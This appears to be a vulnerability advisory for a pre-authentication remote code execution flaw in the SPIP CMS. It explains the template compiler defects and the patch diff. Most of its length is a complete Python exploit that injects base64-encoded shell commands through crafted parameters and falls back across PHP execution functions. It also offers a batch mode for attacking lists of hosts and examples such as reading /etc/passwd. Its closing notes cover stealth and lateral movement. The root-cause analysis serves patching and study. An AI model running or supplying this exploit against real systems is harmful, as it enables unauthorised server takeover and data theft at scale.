#Summary

CVE-2026-77647 is a critical pre-authentication remote code execution in SPIP (a PHP CMS) affecting all versions before 4.4.20. The vulnerability exists in the template compiler and post-processing pipeline, where a regex-based PHP block detector combined with raw var_export() of the request environment allows unauthenticated attackers to execute arbitrary shell commands in a single HTTP request. The attack was exploited in the wild in August 2026. CVSS 9.8 (Critical).

#Am I affected?

#How to check

Run the following command against the target SPIP installation:

python3 exploit.py --host <target> --command id
Output Verdict
Command output appears (e.g. uid=33(www-data)) Vulnerable
No command output, normally rendered page Patched or not SPIP
HTTP connection refused Not reachable

Alternatively, check the version:

curl -s http://target/ | grep -i "spip" | head -5

If the page source contains spip-v4.4.20 or higher, the target is patched. Earlier versions are vulnerable.

#Fix and mitigation

#Root cause analysis

#The injection point: raw var_export() of the request environment

SPIP's template compiler generates PHP code that includes sub-templates using the <INCLURE{...}> tag. When the tag carries the env or self criterion, the parent template's environment (which includes all GET and POST parameters) is spliced into the generated code using raw var_export():

if ($env) {
    $contexte = "array_merge('.var_export($Pile[0],1).',$contexte)";
}

The generated page text then looks like:

<?php echo recuperer_fond('inclure/nav', array_merge(array (
  'p1' => '<?php header(!X-Spip-Filtre: filtrer_entites!) ?>',
  'p2' => '?>&#39;.system(&#34;id&#34;).&#39;',
),array()), array(...), _request('connect') ?? '');
?>

Every GET and POST parameter lands verbatim in this text. var_export() escapes single quotes and backslashes, which is normally sufficient to keep untrusted data inside its string literal. Two cooperating defects turn this into code execution.

#Defect A: PHP blocks are identified by regex, not the lexer

The output of a template is scanned for hand-written headers using a naive regex that has no understanding of PHP's syntax or string literals:

preg_match_all(
    '/(<[?]php\s+)@?header\s*\(\s*.([^:\'"]*):?\s*([^)]*)[^)]\s*\)\s*[;]?\s*[?]>/ims',
    $corps,
    $regs,
    PREG_SET_ORDER
)

The pattern looks for <?php, then header(, then any single character (.), then a header name, then the value. Because the separator class is . (any character) and not a quote, the regex matches even when the text sits inside a single-quoted PHP string literal. Our attacker-controlled parameter value, though wrapped in quotes by var_export(), still matches because var_export() only escapes ' and \, not angle brackets or question marks.

The matched header value is extracted and fed to chercher_filtre(), which resolves it to a PHP callable with no allowlist:

foreach (['filtre_' . $fonc, 'filtre_' . $fonc . '_dist', $fonc] as $f) {
    if (is_callable($f)) {
        return $f;
    }
}

This allows an attacker-controlled filter name like filtrer_entites (SPIP's entity decoder) to be registered.

#Defect B: the protection regex is ungreedy and can be cut short

Before filters run, genuine PHP blocks are supposed to be protected by swapping them for opaque placeholders:

$corps = preg_replace_callback(
    ',<[?](\s|php|=).*[?]>,UimsS',
    'echapper_php_callback',
    $corps
);

The U modifier makes .* ungreedy, so the match ends at the first ?> it encounters. If an attacker-controlled parameter contains ?> at the start, it cuts the protection match short:

<?php echo recuperer_fond(..., array_merge(array (
  'p1' => '',
  'p2' => '?>&#39;.system(...).&#39;',  <-- early match end here
),array()), ...);
?>

The tail of the real recuperer_fond() statement (everything after that ?>) is left behind as unprotected text and handed to the attacker's chosen filter. The filter then decodes the HTML entities &#39; into real single quotes, closing the var_export() string literal. What was inert data becomes a PHP expression.

#The sink

The assembled page body is then evaluated as PHP:

$res = eval('?>' . $page['texte']);

The injected expression runs with the privileges of the web server user.

#Patch diff

The 4.4.20 fix addresses both defects.

Half 1: use PHP's lexer to identify real PHP blocks. A new HtmlPhp collector uses PhpToken::tokenize() to properly parse PHP's token stream, so string literals are no longer mistaken for block boundaries:

$tokens = PhpToken::tokenize($texte);

Because the lexer understands quotes, a ?> inside '...' is no longer confused with a block terminator. The header regex is also rewritten to require real quotes around the header value:

'/^\s*header\s*\(\s*(?:[\'"])([^:\'"]*):?\s*([^)]*)(?:[\'"])\s*\)\s*[;]?\s*$/'

Half 2: encode unsafe characters in environment variables. The raw var_export() splice is replaced with a new helper safe_export_env() that detects strings containing < characters and emits them URL-encoded:

if (is_string($var) && str_contains($var, '<')) {
    return 'urldecode(' . var_export(urlencode($var), true) . ')';
}

With the angle brackets encoded away, the header regex has nothing to match, and the attack fails silently. On the patched version, the injected parameter is emitted as urldecode('%3C%3Fphp+header%28...'), making it inert.

#Proof of concept

#exploit.py - SPIP Pre-Auth RCE PoC

#!/usr/bin/env python3
"""
CVE-2026-77647 - SPIP unauthenticated PHP code injection via the squelette compiler
Affected: SPIP (CMS) all versions before 4.4.20
Type: RCE (CWE-94, pre-auth, single request)

SPIP's template compiler splices the request environment into generated page text with a
raw var_export(). A regex-based (rather than lexer-based) scan of that text then mistakes
a `<?php header(...) ?>` sequence sitting inside a string literal for a real PHP block,
which lets an unauthenticated request register an arbitrary PHP callable through the
X-Spip-Filtre pseudo-header. A second parameter starting with `?>` cuts the ungreedy
block-protection regex short, exposing the tail of the real PHP statement to that filter;
the filter decodes HTML entities, which closes the string literal and turns the parameter
into a PHP expression that eval() then runs.

Usage:
  python exploit.py --host <target>
  python exploit.py --host 192.168.1.10 --port 8080 --command "uname -a"
  python exploit.py --host https://cms.example.com --command "cat /etc/passwd"
  python exploit.py --host https://example.com/spip/spip.php --command id
  python exploit.py --list targets.txt --workers 20
"""

import argparse
import base64
import html
import re
import secrets
import sys
from urllib.parse import urlparse, urljoin

try:
    import requests
    from requests.packages.urllib3.exceptions import InsecureRequestWarning
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
except ImportError:
    print("[!] This exploit requires the 'requests' library: pip install requests")
    sys.exit(1)

CVE_ID = "CVE-2026-77647"
VULN_TYPE = "RCE"

# Public pages whose stock template carries an <INCLURE{...,env}> or <INCLURE{...,self}>,
# which is what makes the environment reach the vulnerable var_export() splice.
# 404 first: it renders on a site with no articles and no configuration at all.
DEFAULT_PAGES = ["404", "sommaire", "recherche", "plan", "calendrier"]

# PHP command sinks, tried in order. A host with system() in disable_functions still
# usually leaves one of the others reachable.
PHP_SINKS = ["system", "passthru", "shell_exec"]

DEFAULT_TIMEOUT = 15


def header(host: str, port: int) -> None:
    print(f"\n{'='*60}")
    print(f"  ALIM EXPLOIT  {CVE_ID}")
    print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
    print(f"{'='*60}\n")


def step(n: int, msg: str) -> None:
    print(f"[STEP {n}] {msg}")


def section(label: str, content: str) -> None:
    print(f"\n--- {label} ---")
    print(str(content).strip())
    print("---\n")


def done(success: bool, evidence: str) -> None:
    print(f"\n{'='*60}")
    print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
    print(f"  EVIDENCE: {evidence}")
    print(f"{'='*60}\n")
    sys.exit(0 if success else 1)


# ---------------------------------------------------------------- payload build

def _rand_param() -> str:
    """A parameter name SPIP will keep in the template environment.

    Only the var_* family is filtered out by _CONTEXTE_IGNORE_VARIABLES, so any other
    name works. Randomising it per run also guarantees a distinct cache key, so the
    request is always computed fresh rather than answered from a stored page.
    """
    return "p" + secrets.token_hex(4)


def _build_request(command: str, page: str, sink: str):
    """Build the two-parameter payload.

    Returns (params, marker_start, marker_end).

    The shell command travels base64-encoded and is decoded server side by PHP, which
    keeps quotes, backslashes and angle brackets out of the request entirely - all three
    would otherwise be mangled, either by var_export()'s escaping of ' and \\ or by the
    block-detection regexes. It also keeps the two output markers out of the request, so
    finding them in the response can only mean the command actually ran.
    """
    m_start = secrets.token_hex(6)
    m_end = secrets.token_hex(6)

    inner = "echo %s; %s 2>&1; echo %s" % (m_start, command, m_end)
    blob = base64.b64encode(inner.encode("utf-8", "replace")).decode("ascii")

    decoded = 'base64_decode(&#34;%s&#34;)' % blob
    if sink == "shell_exec":
        # shell_exec returns the output instead of printing it
        expr = "print(shell_exec(%s))" % decoded
    else:
        expr = "%s(%s)" % (sink, decoded)

    # Parameter 1 registers the filter. The separators around the header string are '!'
    # rather than quotes on purpose: var_export() escapes ' to \', and the escaped form
    # no longer satisfies the header regex's name class.
    inject = "<?php header(!X-Spip-Filtre: filtrer_entites!) ?>"

    # Parameter 2 breaks out. The leading ?> ends the ungreedy block-protection match
    # early so the tail of the real statement is left exposed to the filter, and the
    # entities are what the filter turns into the quotes that close the string literal.
    breakout = "?>&#39;." + expr + ".&#39;"

    params = {
        "page": page,
        _rand_param(): inject,
        _rand_param(): breakout,
    }
    return params, m_start, m_end


def _extract_output(body: str, m_start: str, m_end: str):
    """Pull every marker-framed command output out of the rendered page.

    The output is spliced into the page at the point each include tag sat, so it lands
    inside surrounding markup and one response carries two or three identical copies
    (one per environment splice in the template).
    """
    blocks = re.findall(re.escape(m_start) + r"(.*?)" + re.escape(m_end), body, re.S)
    cleaned = []
    for raw in blocks:
        text = re.sub(r"<[^>]+>", "", raw)
        text = html.unescape(text).strip()
        cleaned.append(text)
    return cleaned


# ---------------------------------------------------------------- target parsing

def _parse_target(line: str, default_port: int, default_path: str = "/"):
    """One target line -> (host, port, use_tls, path), or None to skip."""
    line = line.strip()
    if not line or line.startswith("#"):
        return None
    if line.startswith(("http://", "https://")):
        p = urlparse(line)
        tls = p.scheme == "https"
        path = p.path if (p.path and p.path not in ("", "/")) else default_path
        return p.hostname, p.port or (443 if tls else default_port), tls, path
    if ":" in line:
        parts = line.rsplit(":", 1)
        try:
            port = int(parts[1])
            return parts[0], port, port in (443, 8443), default_path
        except ValueError:
            pass
    return line, default_port, default_port in (443, 8443), default_path


def _entry_url(host: str, port: int, use_tls: bool, path: str) -> str:
    """Resolve the SPIP public entry point from whatever the operator supplied.

    A path already pointing at a .php file is respected as given; anything else is
    treated as the directory SPIP is installed in.
    """
    scheme = "https" if use_tls else "http"
    base = "%s://%s:%d" % (scheme, host, port)
    path = path or "/"
    if path.endswith(".php"):
        return urljoin(base, path)
    if not path.startswith("/"):
        path = "/" + path
    if not path.endswith("/"):
        path += "/"
    return urljoin(base + path, "spip.php")


# ---------------------------------------------------------------- silent probe

def _try_exploit(host: str, port: int, use_tls: bool, path: str = "/",
                 command: str = "id", pages=None, timeout: int = DEFAULT_TIMEOUT,
                 sinks=None, on_attempt=None):
    """Silent probe. Returns (success, evidence, output, detail).

    Never prints and never exits, so it is safe to call from scan mode.
    `on_attempt` is an optional callback used by the verbose single-target path to
    narrate each request.
    """
    url = _entry_url(host, port, use_tls, path)
    pages = pages or DEFAULT_PAGES
    sinks = sinks or PHP_SINKS
    disabled = []
    last_err = None
    reached = False

    session = requests.Session()
    session.verify = False
    session.max_redirects = 5

    try:
        # Page-major: exhaust the sinks on the first page before moving on. A target
        # where 404 renders but system() is disabled is then solved in three requests,
        # and a sink found disabled is dropped for every page after that.
        for page in pages:
            for sink in sinks:
                if sink in disabled:
                    continue
                params, m_start, m_end = _build_request(command, page, sink)
                try:
                    resp = session.get(url, params=params, timeout=timeout,
                                       allow_redirects=True)
                except requests.RequestException as exc:
                    last_err = exc
                    if on_attempt:
                        on_attempt(page, sink, "request failed (%s)" % exc.__class__.__name__)
                    continue

                reached = True
                body = resp.text or ""
                outputs = _extract_output(body, m_start, m_end)

                if outputs:
                    detail = {
                        "page": page, "sink": sink, "url": resp.url,
                        "status": resp.status_code, "copies": len(outputs),
                    }
                    evidence = "code execution as PHP via page=%s using %s() - %s" % (
                        page, sink, (outputs[0].splitlines() or [""])[0][:80])
                    if on_attempt:
                        on_attempt(page, sink, "executed (%d copies)" % len(outputs))
                    return True, evidence, outputs[0], detail

                if "has been disabled" in body and sink not in disabled:
                    disabled.append(sink)
                    if on_attempt:
                        on_attempt(page, sink, "%s() disabled on target" % sink)
                    continue

                if on_attempt:
                    on_attempt(page, sink, "no command output")
    finally:
        session.close()

    if not reached:
        return False, "unreachable (%s)" % (
            last_err.__class__.__name__ if last_err else "no response"), "", {}
    if disabled:
        return False, "reached, but %s disabled on target" % "/".join(
            s + "()" for s in disabled), "", {"disabled": disabled}
    return False, "no command output in any response - target looks patched (>= 4.4.20)", "", {}


# ---------------------------------------------------------------- scan mode

def scan(targets_file: str, default_port: int, workers: int = 10,
         command: str = "id", pages=None, timeout: int = DEFAULT_TIMEOUT) -> None:
    import concurrent.futures

    with open(targets_file) as f:
        targets = [_parse_target(l, default_port) for l in f]
    targets = [t for t in targets if t is not None]

    print(f"\n{'='*60}")
    print(f"  {CVE_ID} - Batch Scan  ({len(targets)} targets, {workers} workers)")
    print(f"{'='*60}\n")

    success_count = 0

    def probe(t):
        host, port, use_tls, path = t
        label = "%s://%s:%d" % ("https" if use_tls else "http", host, port)
        ok, evidence, _out, _d = _try_exploit(host, port, use_tls, path,
                                              command=command, pages=pages,
                                              timeout=timeout)
        return label, ok, evidence

    with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
        futures = {ex.submit(probe, t): t for t in targets}
        for fut in concurrent.futures.as_completed(futures):
            label, ok, evidence = fut.result()
            print(f"  {'[+]' if ok else '[-]'} {label} - {'Exploited' if ok else 'Not vulnerable'}: {evidence}")
            if ok:
                success_count += 1

    total = len(targets)
    print(f"\n{'='*60}")
    print(f"  SCAN COMPLETE  {success_count} exploited / {total - success_count} not vulnerable  ({total} total)")
    print(f"{'='*60}\n")
    sys.exit(0 if success_count > 0 else 1)


# ---------------------------------------------------------------- single target

def exploit(host: str, port: int, use_tls: bool, path: str, command: str,
            pages, timeout: int) -> None:
    header(host, port)

    url = _entry_url(host, port, use_tls, path)
    step(1, "Entry point: %s" % url)
    step(2, "Command to run: %s" % command)
    step(3, "Injecting X-Spip-Filtre through the var_export'd template environment")
    step(4, "Breaking out of the string literal with an early ?> plus HTML entities")
    print()

    def narrate(page, sink, outcome):
        print("  page=%-11s sink=%-10s -> %s" % (page, sink + "()", outcome))

    ok, evidence, output, detail = _try_exploit(
        host, port, use_tls, path, command=command, pages=pages,
        timeout=timeout, on_attempt=narrate)

    print()
    if ok:
        step(5, "Command output recovered from the response body "
                "(%d copies, one per environment splice)" % detail["copies"])
        section("COMMAND OUTPUT", output)
        section("EXECUTION DETAIL",
                "entry page : %s\n"
                "php sink   : %s()\n"
                "http status: %s\n"
                "url        : %s" % (detail["page"], detail["sink"],
                                     detail["status"], detail["url"]))
        first = (output.splitlines() or [""])[0].strip()
        done(True, "RCE confirmed - command '%s' executed as the web server user: %s"
             % (command, first))

    step(5, "No command output returned")
    section("PROBE RESULT", evidence)
    done(False, evidence)


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC - SPIP pre-auth RCE")
    target_grp = parser.add_mutually_exclusive_group(required=True)
    target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host/spip/)")
    target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
    parser.add_argument("--port", type=int, default=80, help="Default port (default: 80)")
    parser.add_argument("--command", default="id", help="Command to execute (default: id)")
    parser.add_argument("--page", default=None,
                        help="Force one SPIP public page as the entry point "
                             "(default: try %s in order)" % ", ".join(DEFAULT_PAGES))
    parser.add_argument("--timeout", type=int, default=DEFAULT_TIMEOUT,
                        help="Per-request timeout in seconds (default: %d)" % DEFAULT_TIMEOUT)
    parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
    tls_grp = parser.add_mutually_exclusive_group()
    tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
    tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
    args = parser.parse_args()

    pages = [args.page] if args.page else DEFAULT_PAGES

    if args.list:
        scan(args.list, default_port=args.port, workers=args.workers,
             command=args.command, pages=pages, timeout=args.timeout)
    else:
        parsed = _parse_target(args.host, args.port)
        host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, "/")
        if args.tls:
            use_tls = True
        if args.no_tls:
            use_tls = False
        exploit(host, port, use_tls, path, args.command, pages, args.timeout)

#Usage

python3 exploit.py --host 127.0.0.1 --port 7764 --command id
Argument Default Purpose
--host required (or --list) Target hostname, IP, or full URL. If given a .php path it is used as-is; otherwise spip.php is appended.
--list FILE required (or --host) File with one target per line for batch scanning. Lines starting with # and blank lines are ignored.
--port 80 Default port when the target does not specify one.
--command id Shell command to execute on the target. Quotes, pipes, redirections and special characters are safe (command travels base64-encoded).
--page auto (tries 404, sommaire, recherche, plan, calendrier) Force a single SPIP public page as the entry point instead of trying multiple pages in order. Useful when only one page template is known to carry the necessary <INCLURE> tag.
--timeout 15 Per-request timeout in seconds.
--workers 10 Thread pool size for --list mode.
--tls / --no-tls auto Override TLS scheme detection.

Example: run id against a vulnerable SPIP at 192.168.1.10:8080:

python3 exploit.py --host 192.168.1.10 --port 8080 --command id

Expected output on vulnerable target (SPIP 4.4.19):

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Expected output on patched target (SPIP 4.4.20):

no command output in any response - target looks patched (>= 4.4.20)

The exploit exits with code 0 on successful exploitation and 1 otherwise, making it suitable for bash pipelines.

#Exploitation notes

#Preconditions

#Reliability

The attack is highly reliable against a vulnerable target. It is a single-request code injection that does not depend on timing, race conditions, or transient server state. The success oracle (marker-framed command output) is resistant to false positives because the markers exist only inside base64 in the request, so they cannot be reflected.

#Impact

The attacker gains the ability to execute arbitrary shell commands as the web server user (typically www-data on Linux). This allows reading files readable by that user, modifying web content, launching further attacks on internal systems, or using the server as a staging ground for lateral movement.

#Chaining potential

Command execution as the web server user can be chained with local privilege escalation, container escape, or horizontal movement depending on the deployment posture. The attack itself is single-stage and leaves no persistent artifacts - the only trace is the HTTP request in access logs.

#References